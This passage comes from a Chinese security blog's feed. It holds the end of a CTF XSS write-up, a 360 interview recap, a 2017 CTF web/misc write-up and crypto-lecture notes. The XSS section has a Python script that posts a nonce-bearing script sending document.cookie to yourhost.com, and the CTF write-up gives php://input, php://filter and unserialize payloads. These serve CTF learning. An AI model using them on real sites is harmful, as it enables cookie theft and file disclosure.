class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import time</span><br><span class="line">#将获取到的信息分割，取出nonce</span><br><span class="line">def getNonce(nonce):</span><br><span class="line">    # nonce=&#x27;&lt;p&gt;comment here&lt;/p&gt;&lt;script nonce=&quot;9cfd6906dff65b782ae7e24b74ae3e5e&quot;&gt;var test=&#x27;</span><br><span class="line">    nonce=nonce.split(&#x27;here&lt;/p&gt;&lt;script nonce=&quot;&#x27;)[1].split(&#x27;&quot;&gt;var te&#x27;)[0]</span><br><span class="line">    print(&#x27;[+]&#x27;+nonce)</span><br><span class="line">    return(nonce)</span><br><span class="line"># 访问vps端的ctf.txt。获取打到的一些nonce</span><br><span class="line">def receiveNonce():</span><br><span class="line">    url=&#x27;http://yourhost.com/ctf.txt&#x27;;;</span><br><span class="line">    r=requests.get(url)</span><br><span class="line">    nonceRawList=r.text.split(&#x27;\r\n&#x27;)</span><br><span class="line">    return nonceRawList</span><br><span class="line"># 发送xsspayload</span><br><span class="line">def sendXSS(nonce):</span><br><span class="line">    con=&quot;&lt;script nonce=&#x27;&quot;+nonce+&quot;&#x27;&gt;location.href=&#x27;http://yourhost.com:2017/?&#x27;+document.cookie;&lt;/script&gt;&lt;!--&quot;;;</span><br><span class="line">    print(&#x27;[+]&#x27;+con)</span><br><span class="line">    url=&#x27;http://211.159.146.223/submit.php&#x27;;;</span><br><span class="line">    data=&#123;&#x27;content&#x27;:con&#125;</span><br><span class="line">    requests.post(url,data=data)</span><br><span class="line">nonceRawList=receiveNonce()</span><br><span class="line">nonce=getNonce(nonceRawList[-2])</span><br><span class="line">while(1):</span><br><span class="line">    nonceRawList=receiveNonce()</span><br><span class="line">    time.sleep(0.1)</span><br><span class="line">    if(getNonce(nonceRawList[-2])!=nonce):</span><br><span class="line">        nonce=getNonce(nonceRawList[-2])</span><br><span class="line">        print(&#x27;[-] The nonceList is receive!&#x27;)</span><br><span class="line">        sendXSS(nonce)</span><br><span class="line">        sendXSS(nonce)</span><br><span class="line">        sendXSS(nonce)</span><br><span class="line">        sendXSS(nonce)</span><br><span class="line">        print(&#x27;[-] SendXSS OK!&#x27;)</span><br></pre></td></tr></table></figure><p><img src="https://img.5am3.com/5am3/img/20191213225914.png" alt="flag"></p><h2 id="0x04-期间遇到的一些小坑"><a href="#0x04-期间遇到的一些小坑" class="headerlink" title="0x04 期间遇到的一些小坑"></a>0x04 期间遇到的一些小坑</h2><p>这道题做了7个小时多吧。很烦。最初想到获取nonce很容易，然后在后期写脚本，与测试时。<br>一方面由于编程习惯不佳，还有就是心态不稳，造成很多困扰。<br>最后联系主办方后。获取到了一些服务端信息。</p><blockquote><p>bot每次只审一定量的payload。payload过多，会被刷下去。</p></blockquote><p>然后考虑改进代码。因为之前是一直全速拿nonce，全速发送。</p><p>改成了5秒拿一个nonce，然后检测到nonce刷新后，立即发送多个xsspayload。<br>好在最后获取到了flag。但是感觉还是不在自己的预期，因为每次跑脚本，只会返回一个flag。多个payload只生效一个。</p><p>最后，期待主办方大佬放一下源码。到时候一定要认认真真看看这个bot。</p><p>p.s.初写博客，欢迎大家指点。</p>]]></content>
    
    
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;题目&lt;br&gt;wanna hack him?&lt;br&gt;管理员使用了看似完美的安全配置.. 但是…&lt;br&gt;&lt;a href=&quot;http://211.159.146.223/&quot;&gt;http://211.159.146.223/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;注：以下出现的yourhost.com均为你自己的域名或者ip。自行准备外网ip或vps&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="xss" scheme="https://blog.5am3.com/tags/xss/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
  </entry>
  
  <entry>
    <title>360面试经历及心得</title>
    <link href="https://blog.5am3.com/2017/11/09/360-interview/"/>
    <id>https://blog.5am3.com/2017/11/09/360-interview/</id>
    <published>2017-11-09T10:34:27.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<h2 id="面试心得"><a href="#面试心得" class="headerlink" title="面试心得"></a>面试心得</h2><p><strong>首先感谢手抓饼学长的推荐，让自己有了这次机会。</strong></p><p>感觉经过这一次面试，学到了很多。更能准确的定位自己，知道以后要努力的方向。<br>也找到了一些自己的不足。发觉自己差的真的好多。<br>而且CTF这一块，虽然可以很好得入门，但也需要尽量和实战密切链接起来。否则还是不行的。<br>即便熟知原理，没有经过许多次的实践，甚至还不如脚本小子。<br>自己也该多写点工具，或者多学习一些大佬们的工具使用。</p><p><strong>2018的目标。写出一套自动化漏洞检测脚本</strong></p><span id="more"></span><hr><h2 id="面试过程"><a href="#面试过程" class="headerlink" title="面试过程"></a>面试过程</h2><p>360那边小哥哥下午的时候给我发的短信，约面试时间。自己因为晚上有hctf，所以约在了6点半。快到6点半的时候，蛮紧张的。自己搬着小马扎去了阳台。本想着会安静点，没想到学校恰好在放广播。无奈之下只能在那了。话说小哥哥那边很准时，6点半准时打来了电话。</p><ul><li><strong>首先先了解一下我。问：看你简历写的是web渗透方向？</strong></li></ul><blockquote><p>恩，因为自己目前是主攻这一块的。二进制方向不太了解。如果按ctf水平来讲。二进制方向仅仅能做出来签到题。</p></blockquote><ul><li><strong>然后上来先问了一下实战</strong></li></ul><p>关于实战，其实自己没有太多的经历。所以也就直接说了自己的看法。</p><blockquote><p>一方面是胆小，技术不够，怕惹出事。<br>再有一方面就是，实战也不会找太大的目标。小目标的话，感觉渗透较简单。没必要去尝试。<br>只是挖过几个手机验证码绕过，xss什么的小洞。</p></blockquote><ul><li><strong>xss通常是用来获取cookie。关于cookie，你了解多少。他有多少属性。</strong></li></ul><blockquote><p>cookie就是一个用于和服务端校验身份的值。存在本地。<br>cookie的属性。有失效时间，还有一个记忆犹新的就是http-only。如果这个属性为真时，js无法获取到cookie的值，可以有效减少xss的危害。<br>但是自己之前看过一篇文章，换了种思路来破解他。通过构造钓鱼页面，来获取管理员的账号密码。<br>其他的属性，自己暂时想不起来。没太关注这些。。</p></blockquote><ul><li><p><strong>cookie和session有什么区别？</strong></p><blockquote><p>他俩一个是本地的一个是服务器端的。session在服务器端会存储好多信息。然后返回一个id作为cookie。做身份验证。</p></blockquote></li><li><p><strong>假设有这样一个情景，你通过xss可以拿到管理员cookie，你如何知道后台在哪里</strong></p><blockquote><p>再加一个参数就好了。window.location.href获取到后台网址。</p><ul><li><strong>如果后台在内网里，你无法登录，那么你该怎么办。如何更大效率的利用这个xss</strong><br> 呃，我暂时是没办法了。<br> 不过可以尝试拿一下他网站的源码，然后尝试构造一些csrf。</li></ul></blockquote></li><li><p><strong>又问了一下工具之类的，在爆破验证码时，用了什么工具。</strong></p></li></ul><blockquote><p>当时用的是burp，但现在用Python也可以写出利用脚本。</p></blockquote><ul><li><strong>然后问了一下对渗透流程。例如如何收集信息。</strong></li></ul><blockquote><p>谈到扫目录时，自己说用python手写扫描器。<br>通过requests库及threading库。然后判断响应码<br>小哥哥又问，有没有做什么优化之类的。<br>自己默默回答了个异常处理。他说这个不算。<br>然后自己就想不出来了。向小哥哥询问建议。</p></blockquote><ul><li><p><strong>他说一会聊，然后又问怎么判断存在？如果遇到自定义404怎么办？</strong></p><blockquote><p>自己没考虑这些，仅仅打ctf用。感觉还好。如果通过判断响应码不可以，可以先访问一下网站，然后自己加入规则。</p></blockquote></li><li><p><strong>小哥哥又问：如果让你写一个通用的怎么办？</strong></p><blockquote><p>回答：这个我真没办法了，不过我有个馊主意，可以用一下，但效果可能不太好。直接通过正则匹配页面中的404，按404出现次数推断。毕竟自定义404里面肯定有这些信息。而且不止一个。</p></blockquote></li><li><p><strong>然后小哥哥开始下一个问题。问我对响应码了解多少。</strong></p><blockquote><p>回答：302重定向，404未找到，500服务器错误。</p><ul><li><strong>然后小哥哥好像又问了个403吧。</strong></li></ul><p>自己说，忘了，记得最清楚的就这仨。</p></blockquote></li></ul><p>现在想想，好傻哦。竟然连403都忘！<br>大家记住了哈。403 Forbidden</p><ul><li><p><strong>再往后，问了一下请求类型</strong></p><blockquote><p> 回答：get，post，option。这三个挺常见，都记得。还有几个不太常见。记不清了。</p><ul><li><strong>然后又问：put知道么。还有head</strong></li></ul><p>回答：知道一点。</p><ul><li><strong>问：head是干什么用的。</strong></li></ul><p>回答：好像是获取一个响应，但不收文件。</p><ul><li><strong>问：恩，获取响应头。这不就回答你刚刚的问题了。</strong></li></ul><p>我：哇，好神奇哎。之前竟然没想到。（其实是没想过优化。毕竟写得玩，字典也不多。）</p></blockquote></li><li><p><strong>然后又问了问请求头都有什么</strong></p></li></ul><blockquote><p>自己回答：先是请求类型 get 还是post ，然后是路径 再往后是协议<br>然后下面是一堆头，例如accept-language，cookie，还有浏览器信息。</p><ul><li><strong>问：host知道吧。</strong></li></ul><p>回答：恩，刚刚没想起来。这里是域名，或者ip</p><ul><li><strong>问：如果我改host，能不能发到别的网站上。</strong></li></ul><p>回答：我这里不太清楚。但感觉应该是不行的。因为之前用burp的repeater时候，想要发到其他网站，必须从右上角那个小按钮改一下地址和端口。</p></blockquote><ul><li><p><strong>问我，你最擅长那一块</strong><br>自己回答没有，那一块都了解一点。说完这句话就后悔了。但是想想。好像自己还真的没什么擅长的。<br>样样会一点，样样都不精。</p></li><li><p><strong>好吧，那我问问你文件包含吧。现在，有一个网站，存在文件包含漏洞。但是没有上传点。如果是你会怎么利用</strong></p><blockquote><p>尝试一下是否能找到网站日志文件，尝试包含日志。</p></blockquote></li><li><p><strong>又问网络原理，和系统原理这边你怎么样</strong></p><blockquote><p>我说，网络原理还将就吧，但系统原理真心不怎么样。没有学过</p></blockquote></li><li><p><strong>然后问tcp三次握手。</strong></p><blockquote><p>回答：我对这块不太熟悉，当初记住，也是因为那个故事，然后自己把打仗那个故事说了一下<br><strong>又问：每一次的标志位是什么。</strong><br>回答：这个真的不知道了。</p></blockquote></li><li><p><strong>最后问了一下，还有什么要问我的吗？</strong></p></li></ul><p>说实话，自己还真有，刚刚聊天时，发现自己好多不足.<br>想再挖一下，懒得回去百度了。<br>然后。。。。紧张的忘了。。<br>只好说没有了。<br>挂了电话后心直接凉了，一首凉凉送给自己。</p><h2 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h2><p>最终也还是拿到offer了。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;面试心得&quot;&gt;&lt;a href=&quot;#面试心得&quot; class=&quot;headerlink&quot; title=&quot;面试心得&quot;&gt;&lt;/a&gt;面试心得&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;首先感谢手抓饼学长的推荐，让自己有了这次机会。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;感觉经过这一次面试，学到了很多。更能准确的定位自己，知道以后要努力的方向。&lt;br&gt;也找到了一些自己的不足。发觉自己差的真的好多。&lt;br&gt;而且CTF这一块，虽然可以很好得入门，但也需要尽量和实战密切链接起来。否则还是不行的。&lt;br&gt;即便熟知原理，没有经过许多次的实践，甚至还不如脚本小子。&lt;br&gt;自己也该多写点工具，或者多学习一些大佬们的工具使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2018的目标。写出一套自动化漏洞检测脚本&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="其他" scheme="https://blog.5am3.com/categories/%E5%85%B6%E4%BB%96/"/>
    
    <category term="面试" scheme="https://blog.5am3.com/categories/%E5%85%B6%E4%BB%96/%E9%9D%A2%E8%AF%95/"/>
    
    
    <category term="面试" scheme="https://blog.5am3.com/tags/%E9%9D%A2%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>2017-miac2-writeup</title>
    <link href="https://blog.5am3.com/2017/10/31/miac2-writeup/"/>
    <id>https://blog.5am3.com/2017/10/31/miac2-writeup/</id>
    <published>2017-10-31T07:16:41.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>2017全国高校移动互联网应用开发创新大赛-安全赛-第二场-部分writeup。</p><p>大部分题目都是满基础的，我等渣渣也做的蛮舒服的。据说决赛会有80支队伍。<br>第一次看这么多人的决赛，期待决赛场上有意思的事情发生。</p><span id="more"></span><h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="web1-签到题（40pt）"><a href="#web1-签到题（40pt）" class="headerlink" title="web1-签到题（40pt）"></a>web1-签到题（40pt）</h3><p>审查元素，发现有maxlenth属性，修改其值，然后post一个长数据，即可得到flag。</p><h3 id="web2-简单的题（80pt）"><a href="#web2-简单的题（80pt）" class="headerlink" title="web2-简单的题（80pt）"></a>web2-简单的题（80pt）</h3><p>审查元素，发现有网页源代码。<br>然后直接将password以数组形式post过去。</p><blockquote><p>postdata:<code>username=admin&amp;password[]=admin</code></p></blockquote><h3 id="web3-web100-2（100pt）"><a href="#web3-web100-2（100pt）" class="headerlink" title="web3-web100-2（100pt）"></a>web3-web100-2（100pt）</h3><p>?hint即可读到源码。<br>然后设置Cookie为serialize($KEY)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$KEY=&#x27;BDCTF:www.bluedon.com&#x27;; </span><br><span class="line">echo serialize($KEY)</span><br></pre></td></tr></table></figure><p>flag:flag{pBXeeZdOkG1QTP1}</p><h3 id="web4-送大礼（100pt）"><a href="#web4-送大礼（100pt）" class="headerlink" title="web4-送大礼（100pt）"></a>web4-送大礼（100pt）</h3><p>点击链接，发现一串代码（jsfuck编码），然后console运行。<br>得到源码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">extract($_GET);  </span><br><span class="line">if(isset($bdctf))  &#123;      </span><br><span class="line">$content=trim(file_get_contents($flag));</span><br><span class="line">if($bdctf==$content)&#123;</span><br><span class="line">        echo&#x27;bdctf&#123;**********&#125;&#x27;;</span><br><span class="line">&#125;   </span><br><span class="line">else    </span><br><span class="line">&#123;</span><br><span class="line">        echo&#x27;这不是蓝盾的密码啊&#x27;;    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>payload: </p><blockquote><p>getdata: <code> ?bdctf=c%3D1&amp;flag=php://input</code><br>postdata:<code> c=1</code></p></blockquote><h3 id="web5-蓝盾管理员（100pt）："><a href="#web5-蓝盾管理员（100pt）：" class="headerlink" title="web5-蓝盾管理员（100pt）："></a>web5-蓝盾管理员（100pt）：</h3><p>2014年的一道原题，利用php特性<br>payload：</p><blockquote><p>getdata：<code>?user=php://input&amp;file=php://filter/convert.base64-encode/resource=flag.php</code><br>postdata：<code>the user is bdadmin</code></p></blockquote><p>bdctf{Lfi_AnD_More}</p><h3 id="web6-火星撞地球1（200pt）："><a href="#web6-火星撞地球1（200pt）：" class="headerlink" title="web6-火星撞地球1（200pt）："></a>web6-火星撞地球1（200pt）：</h3><p>admin登录提示密码错误，a登录提示用户不存在。<br>经过爆破，得到admin的密码为1q2w3e4r<br>提交flag{1q2w3e4r}成功提交。</p><h3 id="web7-chatbot（200pt）待补充"><a href="#web7-chatbot（200pt）待补充" class="headerlink" title="web7-chatbot（200pt）待补充"></a>web7-chatbot（200pt）<strong>待补充</strong></h3><p>发现接口<br><a href="http://8eaaa8aed3818244e4f9f31669aac9e8.yogeit.com:8080/admin.php">http://8eaaa8aed3818244e4f9f31669aac9e8.yogeit.com:8080/admin.php</a><br>传入notes后会返回 notes+账号名称+notes。<br>而且账号名称会变化，你所注册的账号轮播（Cookie的Session没有变），疑似条件竞争。<br>注册时，密钥加密方式为md5(md5(md5($pass)))<br>注册时，可以在用户名处进行注入。可判断出后台为django。</p><h3 id="web8-密室杀人案（150pt）"><a href="#web8-密室杀人案（150pt）" class="headerlink" title="web8-密室杀人案（150pt）"></a>web8-密室杀人案（150pt）</h3><p>存在David.php<br>发现：O:4:”Ford”:1:{s:6:”Walker”;s:8:”flag.php”;}<br>然后将以上数据get形式传给侦探we….即可<br>payload：</p><blockquote><p>getdata：<code>David.php?we...=O:4:&quot;Ford&quot;:1:&#123;s:6:&quot;Walker&quot;;s:8:&quot;flag.php&quot;;</code></p></blockquote><p><em>备注：忘了侦探叫什么名字了。</em></p><h3 id="web9-bluedon用户（200pt）"><a href="#web9-bluedon用户（200pt）" class="headerlink" title="web9-bluedon用户（200pt）"></a>web9-bluedon用户（200pt）</h3><p>与5题相似payload，获取到class.php源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">class Read&#123;//f1a9.php</span><br><span class="line">    public $file;</span><br><span class="line">    public function __toString()&#123;</span><br><span class="line">        if(isset($this-&gt;file))&#123;</span><br><span class="line">            echo file_get_contents($this-&gt;file);    </span><br><span class="line">        &#125;</span><br><span class="line">        return &quot;恭喜get flag&quot;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>类似第5题。只不过后边用了一个unserialize。<br>上次某某比赛的原题。<br>最后的payload：</p><blockquote><p>getdata:<code>?user=php://input&amp;file=class.php&amp;pass=O:4:&quot;Read&quot;:1:&#123;s:4:&quot;file&quot;;s:8:&quot;f1a9.php&quot;;&#125;</code><br>postdata:<code>the user is bluedon</code></p></blockquote><h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h3 id="misc1-杂项全家桶（100pt）"><a href="#misc1-杂项全家桶（100pt）" class="headerlink" title="misc1-杂项全家桶（100pt）"></a>misc1-杂项全家桶（100pt）</h3><p>拿到bdctf1.png，改后缀zip，解压的music.mp3文件<br>ihdr文件头。尝试修复png文件。得到二维码，反色后扫描，得到“工井大人夫王”<br>当铺解密得到 485376<br>再使用 MP3stego 进行解密，得到 fx4qx0hj_4_cg{Wvf}，再进行栅栏，凯撒转化，得flag<br>bdctf{4_Sm4rt_b0y}</p><p>参考资料：<a href="http://blog.csdn.net/etf6996/article/details/70146940">http://blog.csdn.net/etf6996/article/details/70146940</a></p><h3 id="misc2-抓小鸡（150pt）"><a href="#misc2-抓小鸡（150pt）" class="headerlink" title="misc2-抓小鸡（150pt）"></a>misc2-抓小鸡（150pt）</h3><p>下载后，发现是一个chm文档，尝试在主机打开。被win defender拦截。<br>尝试用好压打开。发现readme.html，打开后立即被拦截，于是拖到虚拟机打开。<br>题目要求，小鸡的地址即为flag。</p><p><img src="https://img.5am3.com/5am3/img/20191214145904.png"></p><p>所以flag{23.83.243.205}</p><h2 id="stega"><a href="#stega" class="headerlink" title="stega"></a>stega</h2><h3 id="stega1-像素隐藏（70pt）"><a href="#stega1-像素隐藏（70pt）" class="headerlink" title="stega1-像素隐藏（70pt）"></a>stega1-像素隐藏（70pt）</h3><p>伪加密压缩包，得到png文件，修改png文件高度即可得flag<br>Bdctf{u32wg8doib1}</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2017全国高校移动互联网应用开发创新大赛-安全赛-第二场-部分writeup。&lt;/p&gt;
&lt;p&gt;大部分题目都是满基础的，我等渣渣也做的蛮舒服的。据说决赛会有80支队伍。&lt;br&gt;第一次看这么多人的决赛，期待决赛场上有意思的事情发生。&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
  </entry>
  
  <entry>
    <title>【诺熙】XMAN训练营手记-2-密码</title>
    <link href="https://blog.5am3.com/2017/08/02/xman-2/"/>
    <id>https://blog.5am3.com/2017/08/02/xman-2/</id>
    <published>2017-08-02T14:44:06.000Z</published>
    <updated>2024-12-05T02:39:41.688Z</updated>
    
    <content type="html"><![CDATA[<p>今天是第二天，来自清华的庄泽浩大佬给讲了一下密码学的常见形式。从古至今的密码，典型事例一一讲解。<br>说实话，由于自己的数学水平。今天被虐了一天。&#x2F;委屈状<br>但除了数学相关的一些知识，其他的还是蛮好懂得！</p><span id="more"></span><h2 id="密码学概论"><a href="#密码学概论" class="headerlink" title="密码学概论"></a>密码学概论</h2><h3 id="密码分析的分类"><a href="#密码分析的分类" class="headerlink" title="密码分析的分类"></a>密码分析的分类</h3><p><strong>密码分析者攻击密码的方法</strong></p><ol><li>穷举攻击</li><li>统计分析攻击</li><li>数学分析攻击</li></ol><p><strong>根据密码分析者利用的数据来分类</strong></p><p><em>以下攻击强度依次增大</em></p><ol><li>唯密文攻击</li><li>已知明文攻击</li><li>选择明文攻击</li><li>选择密文攻击</li></ol><h3 id="密码的安全性"><a href="#密码的安全性" class="headerlink" title="密码的安全性"></a>密码的安全性</h3><p><strong>常用准则有以下</strong></p><ul><li>计算安全性</li><li>可证明安全性</li><li>无条件安全性</li></ul><h2 id="古典密码"><a href="#古典密码" class="headerlink" title="古典密码"></a>古典密码</h2><h3 id="单表代换密码"><a href="#单表代换密码" class="headerlink" title="单表代换密码"></a>单表代换密码</h3><ul><li><strong>移位密码</strong></li></ul><p>当移位为三时，叫做凯撒密码。（之前一直认为移位密码就是凯撒&#x2F;尴尬）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">不安全，秘钥空间小，可穷举</span><br></pre></td></tr></table></figure><ul><li><strong>仿射密码</strong></li></ul><p>大佬上课讲的太数学化，有点懵，课下查了查资料。<br>了解了些许。下面是个栗子，大家尝尝。</p><blockquote><p>设密钥K&#x3D; (7, 3), 用仿射密码加密明文hot。</p><p>三个字母对应的数值是7、14和19。分别加密如下：</p><p>(7×7 + 3) mod 26 &#x3D; 52 mod 26 &#x3D;0</p><p>(7×14 + 3) mod 26 &#x3D; 101 mod 26 &#x3D;23</p><p>(7×19 + 3) mod 26 &#x3D;136 mod 26 &#x3D;6</p><p>三个密文数值为0、23和6，对应的密文是AXG。</p></blockquote><ul><li><strong>埃特巴什码</strong></li></ul><p>很简单的一个单表替换。唉，自己出生晚，要不就叫诺熙密码了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">明文：A B C D E F G H I J K L M N O P Q R S T U V W X Y Z</span><br><span class="line">密文：Z Y X W V U T S R Q P O N M L K J I H G F E D C B A</span><br></pre></td></tr></table></figure><ul><li><strong>简单替换密码</strong></li></ul><p>杂乱无章，瞎替换。保证一对一且唯一就好。</p><ul><li><strong>解决单表替换</strong></li></ul><ol><li>文本量大时，可用统计方法解。</li></ol><p><img src="https://img.5am3.com/5am3/img/20191214150133.png"></p><ol start="2"><li>移位密码可以直接暴力破解。</li></ol><h3 id="多表代换加密"><a href="#多表代换加密" class="headerlink" title="多表代换加密"></a>多表代换加密</h3><p>将多个字母一起加密，例如单词替换。</p><ul><li><strong>Playfair</strong></li></ul><p>蛮有意思的一个密码，加密生动有趣&#x2F;笑哭。</p><p>详细见<a href="https://baike.baidu.com/item/playfair%E5%AF%86%E7%A0%81/8999814?fr=aladdin">百度百科-playfair密码</a>，由于太过占用地方，在此不做过多解释。</p><ul><li><strong>Polybius</strong></li></ul><p>一种棋盘密码，先制出密码表，然后按坐标进行加密。</p><ul><li><strong>Nihilist</strong></li></ul><p>类似Polybius，但相对于他，多了一个关键字。将关键字组成棋牌，然后进行解密。</p><h2 id="其他一些有趣的古典密码"><a href="#其他一些有趣的古典密码" class="headerlink" title="其他一些有趣的古典密码"></a>其他一些有趣的古典密码</h2><ul><li><strong>Hill</strong></li></ul><p>传说中的希尔密码，我的线代就是因它而挂！！！<br>不多说了，我默默学线代去了。</p><ul><li><strong>维吉尼亚密码</strong></li></ul><p>哈哈哈哈哈哈。</p><p><img src="https://img.5am3.com/5am3/img/20191214150128.jpg"></p><ul><li><strong>莫斯电码</strong></li></ul><p>声音中的战斗机。<br>一张图搞定。</p><p><img src="https://img.5am3.com/5am3/img/20191214150121.jpg"></p><ul><li><strong>培根密码</strong></li></ul><p>类似莫斯电码。</p><p><img src="https://img.5am3.com/5am3/img/20191214150110.png"></p><ul><li><strong>栅栏密码</strong></li></ul><p>传说中的藏头诗哦！<br>但英语通常是藏好了，然后组成一句话。<br>一点也没有中国语言的那种博大精深。</p><ul><li><strong>曲路密码</strong></li></ul><p>先做表格，然后按路径在表格上走就好了。嘻嘻！</p><ul><li><strong>猪圈密码</strong></li></ul><p>正如大佬说说，能看懂的就能看懂，看不懂的怎么看也看不懂！</p><p><img src="https://img.5am3.com/5am3/img/20191214150142.png"></p><ul><li><strong>键盘密码</strong></li></ul><p>正如其名，有手机键盘和电脑键盘之分。</p><p>手机直接数字就好。拿到数字，手机一通瞎按，就解出来了！</p><p>电脑呢，可以围成一圈，中间那个字是明文，还可以直接用字母在键盘上的位置画一个字出来。<br>当然，比较6的键盘密码则是<strong>qwe加密</strong>。不是LOL哈、</p><h2 id="现代密码学"><a href="#现代密码学" class="headerlink" title="现代密码学"></a>现代密码学</h2><p>由于本萌新数学不好，这里就不过多介绍了。&#x2F;委屈</p><p>大概说一下就过哈。</p><h3 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h3><ul><li><strong>对称密码体制</strong></li></ul><p>这一堆很6很6的密码，表示自己一个也搞不懂。<br>坐等下学期学离散。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DES，AES，RC5，ECB，CBC，CFB，OFB。</span><br></pre></td></tr></table></figure><ul><li><strong>非对称密码体制</strong></li></ul><p>公钥+私钥，公钥公开</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RSA</span><br></pre></td></tr></table></figure><h2 id="零知识证明"><a href="#零知识证明" class="headerlink" title="零知识证明"></a>零知识证明</h2><p>意思是在不透露任何消息的情况下，让别人确信你的确知道消息。</p><p>例如，不告诉他银行卡密码。自己独自登进银行账户，让他看一眼。</p><h2 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h2><p>编码和加密不同。加密为了保证数据安全。而编码则是尽量方便数据传输。</p><h3 id="url编码"><a href="#url编码" class="headerlink" title="url编码"></a>url编码</h3><p>又称%号编码，在%号后面加十六进制的ASCII码即可。<br>常用于web。</p><p>默默想起了xman预选赛的那道神坑题，明明已经将xman编码为<code>%78%6d%61%6e</code>了,没想到还是不行。最后才发现神坑的题，竟然还要把%号编码为<code>%25</code>，所以最后结果为<code>%2578%256d%2561%256e</code>。<br>好在最后心血来潮，脑洞一开，试了一下。</p><h3 id="base64编码"><a href="#base64编码" class="headerlink" title="base64编码"></a>base64编码</h3><p>具体细节不太清楚，但是大概了解一些特征。</p><ol><li>部分编码会用<code>=</code>号填充</li><li>共63个字符，<code>A-Z,a-z,+,/</code></li></ol><p>一般出现以上两点任意一点明显特征，均可试一下base64解码。</p><h2 id="哈希"><a href="#哈希" class="headerlink" title="哈希"></a>哈希</h2><p>常见的有md5，sha1等，但据说这两种都被破解了。不安全。<br>但ctf常见的还是md5，比较有学习意义。</p><h2 id="一些工具"><a href="#一些工具" class="headerlink" title="一些工具"></a>一些工具</h2><p>词频分析工具：<a href="http://quipqiup.com/">http://quipqiup.com/</a></p><p>md5解密：<a href="http://www.dmd5.com/">http://www.dmd5.com/</a></p><p>密码解密：<a href="http://cryptool-online.org/">http://cryptool-online.org/</a></p><p>大素数生成：yafu</p><p>万能解码工具：cap</p><p>豆丁ctf工具合集：<a href="http://www.docin.com/p-1492238521.html">http://www.docin.com/p-1492238521.html</a></p><h2 id="尾言"><a href="#尾言" class="headerlink" title="尾言"></a>尾言</h2><p><strong>大概就写这么多吧，说实话，今天由于数学不好，上课听得很（shui）认（zhao）真（le）。</strong></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;今天是第二天，来自清华的庄泽浩大佬给讲了一下密码学的常见形式。从古至今的密码，典型事例一一讲解。&lt;br&gt;说实话，由于自己的数学水平。今天被虐了一天。&amp;#x2F;委屈状&lt;br&gt;但除了数学相关的一些知识，其他的还是蛮好懂得！&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
